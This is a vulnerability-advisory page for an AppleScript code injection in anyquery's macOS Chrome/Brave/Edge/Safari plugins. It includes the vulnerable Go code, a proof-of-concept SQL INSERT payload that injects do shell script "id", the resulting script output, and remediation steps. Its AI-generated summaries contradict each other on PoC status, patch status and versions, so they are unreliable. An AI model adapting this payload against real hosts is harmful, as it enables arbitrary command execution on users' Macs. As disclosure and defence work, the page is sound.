Skip to main content

anyquery CVE-2026-47252

| EUVDEUVD-2026-82367 CRITICAL
Code Injection (CWE-94)
2026-06-08 https://github.com/julien040/anyquery GHSA-hrj8-hjv8-mgwc
9.0
CVSS 3.1 · Vendor: https://github.com/julien040/anyquery
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach anyquery HTTP SQL endpoint
  2. Delivery
    Send INSERT INTO chrome_tabs with newline payload
  3. Exploit
    Break out of {URL:"..."} AppleScript record
  4. Execution
    osascript executes injected do shell script
  5. Persist
    Run arbitrary commands as macOS user
  6. Impact
    Access files, keychain, scriptable apps

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the anyquery service running on macOS with one of the browser-tab plugins (chrome, brave, edge, or safari) loaded, and the attacker must have SQL INSERT or UPDATE access to the corresponding virtual table (e.g., chrome_tabs). Per the advisory, this access is granted to any client that can reach anyquery's HTTP SQL interface, so reachability of that endpoint - typically localhost but exposable to the network - is the gating factor; macOS admin rights and Chrome credentials are not required. Exploitation is limited to macOS hosts because the sink is osascript, and to anyquery 0.4.4 (commit 0abd460) and earlier builds that lack commit c651df0b8767; the CVSS vector also flags UI:R, though the advisory's PoC indicates the SQL write alone is sufficient.

Impact

The CVSS 3.1 score of 9.0 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H) reflects network reachability of the anyquery SQL HTTP endpoint, low attacker privilege, and a scope change because the injected AppleScript escapes the anyquery process to invoke arbitrary osascript and shell commands under the user's macOS session. The UI:R component is questionable - the advisory text describes the exploit as requiring only INSERT/UPDATE SQL access with no user click, so the real attack complexity may be lower than the vector suggests. EPSS and KEV are not provided in the input, and the vulnerability is in a relatively niche developer tool, so practical exploitation pressure is likely low even though the technical impact is severe. Publicly available exploit code exists (PoC published in the GHSA advisory with a downloadable vuln-001.zip), which elevates risk for any environment that exposes the anyquery HTTP interface beyond localhost.

Exploit ScenarioDerived

An attacker with network reach to an exposed anyquery HTTP SQL endpoint on a developer's Mac issues INSERT INTO chrome_tabs (url) VALUES (...) with a payload that embeds a newline, closes the AppleScript {URL:"..."} record, and appends do shell script "...". osascript executes the injected statement under the developer's macOS session, granting file-system, keychain-prompt, and Apple-Events-scriptable application access. The published PoC in vuln-001.zip demonstrates the technique with do shell script "id" reaching osascript -e verbatim.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

Code injection in the anyquery chrome_tabs plugin (and Brave/Edge/Safari variants) on macOS allows an authenticated SQL client to break out of an AppleScript URL property record and execute arbitrary osascript commands, including do shell script for OS-level command execution. The flaw affects anyquery 0.4.4 (commit 0abd460) and stems from unescaped string interpolation at plugins/chrome/tabs.go:141 and :169. Publicly available exploit code exists in the GHSA advisory (GHSA-hrj8-hjv8-mgwc), though no public exploit identified at time of analysis in mass-exploitation feeds and KEV does not list it.

RemediationAI

Upstream fix available (commit c651df0b8767, pseudo-version 0.0.0-20240826075852-c651df0b8767); released patched version not independently confirmed beyond the GHSA package metadata, so upgrade anyquery to a build that includes commit c651df0b8767 or later per GHSA-hrj8-hjv8-mgwc (https://github.com/julien040/anyquery/security/advisories/GHSA-hrj8-hjv8-mgwc). Until you can upgrade, do not run the chrome, brave, edge, or safari plugins on macOS, and ensure the anyquery SQL HTTP endpoint is bound to localhost only (or fronted by authenticated access controls) so untrusted clients cannot reach the chrome_tabs virtual table; this disables remote browser-tab automation but eliminates the network attack surface. If you must keep the plugins enabled, mirror the upstream mitigation locally by patching plugins/chrome/tabs.go to strip newline and carriage-return characters and escape double quotes in url before fmt.Sprintf(newTabScript, url) at line 141 and fmt.Sprintf(setURLScript, pk, url) at line 169, and restrict accepted URL schemes to http://, https://, and chrome://, accepting that strict scheme validation will reject file:// or custom-scheme tabs.

Affected VersionsENISA

github.com/julien040/anyquery/plugins/brave < 0.2.0
github.com/julien040/anyquery/plugins/safari < 0.2.0
github.com/julien040/anyquery/plugins/chrome < 0.2.0
github.com/julien040/anyquery/plugins/edge < 0.2.0
anyquery < 0.4.5
github.com/julien040/anyquery/plugins/reminders < 0.2.0

Affected Packages

go github.com/julien040/anyquery/plugins/brave fix: 0.0.0-20240826075852-c651df0b8767
go github.com/julien040/anyquery/plugins/chrome fix: 0.0.0-20240826075852-c651df0b8767
go github.com/julien040/anyquery/plugins/edge fix: 0.0.0-20240826075852-c651df0b8767
go github.com/julien040/anyquery/plugins/safari fix: 0.0.0-20240826075852-c651df0b8767
euvd anyquery fix: 0.4.5
euvd github_com_julien040_anyquery_plugins_brave fix: 0.2.0
euvd github_com_julien040_anyquery_plugins_chrome fix: 0.2.0
euvd github_com_julien040_anyquery_plugins_edge fix: 0.2.0
euvd github_com_julien040_anyquery_plugins_reminders fix: 0.2.0
euvd github_com_julien040_anyquery_plugins_safari fix: 0.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 10 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

anyquery is a Go-based tool that exposes data sources (including macOS browser tabs from Chrome, Brave, Edge, and Safari) as SQL virtual tables and can serve that SQL interface over HTTP. The browser-tab plugins drive the browser by templating an AppleScript or JXA snippet with fmt.Sprintf(newTabScript, url) and handing the result to exec.Command("osascript", "-e", ...). CWE-94 (Improper Control of Generation of Code) applies because the user-supplied url is concatenated into executable script source without any quoting or newline stripping, so newline and quote characters terminate the {URL:"..."} property record and start fresh AppleScript statements like do shell script. CPE coverage lists the four Go packages: pkg:go/github.com_julien040_anyquery_plugins_chrome, _brave, _edge, and _safari, all sharing the same templating pattern.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/julien040/anyquery) PRIMARY 9.0 CRITICAL
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from Vendor (https://github.com/julien040/anyquery).

CVSS VectorVendor: https://github.com/julien040/anyquery

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

FieldValue
Repositoryjulien040/anyquery
Affected version0.4.4 (commit 0abd460)
VulnerabilityCWE-94 - Improper Control of Generation of Code
SeverityHigh

Summary

The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements - which requires local CLI access - can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.

Affected Code

plugins/chrome/tabs.go:141 - SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e

go
func (t *tabsTable) Insert(rows [][]interface{}) error {
	for _, row := range rows {
		url := "chrome://newtab/"
		if rawURL, ok := row[2].(string); ok {
			url = rawURL
		}

		cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
		output, err := cmd.CombinedOutput()
		if err != nil {
			return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
		}

	}

	return nil
}

plugins/chrome/tabs.go:169 - Update path interpolates url into JXA setURL.js template with identical lack of escaping

go
		if url != "" {
			cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
			output, err := cmd.CombinedOutput()
			if err != nil {
				return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
			}
		}

SQL INSERT url column (row[2]) flows through tabsTable.Insert → fmt.Sprintf(newTabScript, url) → exec.Command("osascript", "-e", <injected script>) at tabs.go:141.

Proof of Concept

Step 1 - Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.

bash
docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done'
text
SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
	make new tab with properties {URL:"done
text
[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell

RESULT: PASS - injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)

See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod vuln-001.zip

Impact

Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

Remediation

Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:

go
// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))

A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.

Executive ViewAI

Why It Matters

anyquery 0.4.4 on macOS contains a critical code injection vulnerability in its Chrome tabs plugin (and Brave/Edge/Safari variants) that allows authenticated SQL clients to execute arbitrary operating system commands with the privileges of the running application. Organizations using this product face elevated risk of lateral movement and data exfiltration if internal users with SQL database access are compromised or malicious.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable or uninstall anyquery 0.4.4 on macOS systems until patch is available; (2) restrict SQL client access through network segmentation or firewall rules to limit who can reach the vulnerable plugin; (3) implement endpoint monitoring/alerting for osascript and shell script execution from anyquery processes; (4) enforce principle of least privilege for SQL client user accounts.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +45
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy